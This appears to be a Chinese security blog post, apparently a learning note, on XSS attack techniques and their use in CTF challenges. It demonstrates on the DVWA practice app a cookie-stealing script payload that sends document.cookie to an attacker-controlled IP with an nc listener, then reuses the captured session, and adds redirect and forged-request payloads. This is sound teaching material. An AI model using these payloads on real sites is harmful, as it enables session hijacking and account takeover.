V0W's Blog

XSS攻击手段&在CTF中的运用

字数统计: 1,221阅读时长: 5 min
2018/08/18 Share

XSS攻击手段&在CTF中的运用

前文说完了XSS的原理,下面记录一下学习到的XSS的攻击手段和XSS在CTF中的运用
如有不当之处,缺漏之处,望师傅联系斧正。

初探XSS Payload

前文谈到了XSS的几种分类。接下来,就从攻击的角度来体验一下xss的威力。
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,
控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为XSS Payload.

XSS Payload 实际上就是JavaScript脚本(还可以是Flash 或其他富客户端的脚本)
所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。
一个最常见的 XSS Payload,就是通过读取浏览器的Cookie对象,从而发起Cookie劫持攻击。

同样的还有很多攻击方式,再如查看浏览器历史记录,访问劫持等等。

盗用cookie

攻击手段

Cookie一般加密保存了用户的登陆凭证。Cookie 如果丢失了,往往意味着用户的登陆凭证丢失。换句话说,攻击者可以不通过密码,而直接进入用户的账户。

Cookie盗取Payload

1
<script>var img=document.createElement("img");img.src="http://192.168.118.138:1234/a?"+escape(document.cookie);</script>

以DVWA为例,DOM型XSShttp://localhost/dvwa/vulnerabilities/xss_d/?default=<script>alert(v0w)</script>

在kali上nc监听端口1234

nc -nvlp 1234

构造Cookie劫持的XSS Payload:

1
http://localhost/dvwa/vulnerabilities/xss_d/?default=<script>var img=document.createElement("img");img.src="http://192.168.118.138:1234/a?"+escape(document.cookie);</script>

kali上接收到数据包

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.118.138] from (UNKNOWN) [192.168.118.1] 49597
GET /a?security%3Dlow%3B%20PHPSESSID%3Do58bsvrlfbval38fs1l3gubr16 HTTP/1.1
Host: 192.168.118.138:1234
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/dvwa/vulnerabilities/xss_d/?default=%3Cscript%3Evar%20img=document.createElement(%22img%22);img.src=%22http://192.168.118.138:1234/a?%22+escape(document.cookie);%3C/script%3E
Connection: close

其中,参数a后面的就是Cookie。

1
security=low; PHPSESSID=o58bsvrlfbval38fs1l3gubr16

与浏览器上的Cookie一致。
mark
有了这个Cookie,我们可以在不知道密码的情况下,登陆该用户的账户:

  1. 打开另一个浏览器,并没有登陆
  2. 从抓到的包,可以看出链接地址,直接进入http://localhost/dvwa/vulnerabilities/xss_d/,发现进不去,需要登陆。
  3. set-Cookie:security=low; PHPSESSID=o58bsvrlfbval38fs1l3gubr16
  4. 再次访问链接http://localhost/dvwa/vulnerabilities/xss_d/,发现可以进入了,账户身份正是盗取的用户身份。

防护手段

  • HttpOnly
  • Cookie与IP地址绑定

XSS构造GET&POST请求

对网站的浏览和操作,大部分都可以通过GET请求和POST请求来完成,因此可以通过js构造XSS Payload以完成一系列操作。

如可以通过一个url可以删除文件

1
http://www.example.com/do/?m=delete&id=123

攻击者可以通过构造XSS Payload,发起这个请求:

1
2
3
var img = docunment.createElement("img");
img.src = "http://www.example.com/do/?m=delete&id=123";
document.body.appendChild(img);

同样的道理,甚至可以利用XSS Payload 读取用户邮箱的邮件。

XSS钓鱼盗取账户密码

思路:利用js在页面上画出一个伪造的登录框,当用户输入完成时,发送账密到攻击者服务器。

劫持访问

构造XSSPayload可以将用户浏览,重定向到指定链接。和GET,POST类似

1
2
3
<script>window.location.href="http://www.baidu.com"; </script>
或者
%3Cscript%3Ewindow.location.href=%22http://www.baidu.com%22;%20%3C/script%3E

识别用户浏览器

简单的一行代码

1
alert(navigator.userAgent)

还可以加入更加复杂的判断,更精确的识别浏览器。
mark

网页挂马

一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe> 标签。

DOS 与 DDOS

注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。

XSS 蠕虫

通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。

XSS在CTF中的运用

XSS在CTF中主要用于盗取CookieSession,然后利用cookie,做一些其他的事情,但是这是有CSP的,一般会考察XSS绕过(bypass)的能力。

另外还会涉及到XSS,CSRFSSRF的综合应用。

再者,就是利用XSS漏洞,进行js脚本注入。这类利用更加灵活,难度也更大一些。


未完,待续。。。

在CTF中的运用,还没写完,需要在积累一定题量和总结的基础上,举例说明。。。

参考链接

  1. TCTF/0CTF2018 XSS Writeup
  2. ddctf 两道web题的Writeup (sqli & xss)
  3. wiki-XSS 跨站脚本攻击
  4. 道哥的 《白帽子讲web安全》
  5. JavaScript 与 XSS 与 CSRF
CATALOG
  1. 1. XSS攻击手段&在CTF中的运用
  2. 2. 初探XSS Payload
    1. 2.1. 盗用cookie
      1. 2.1.1. 攻击手段
      2. 2.1.2. 防护手段
    2. 2.2. XSS构造GET&POST请求
    3. 2.3. XSS钓鱼盗取账户密码
    4. 2.4. 劫持访问
    5. 2.5. 识别用户浏览器
    6. 2.6. 网页挂马
    7. 2.7. DOS 与 DDOS
    8. 2.8. XSS 蠕虫
  3. 3. XSS在CTF中的运用
  4. 4. 参考链接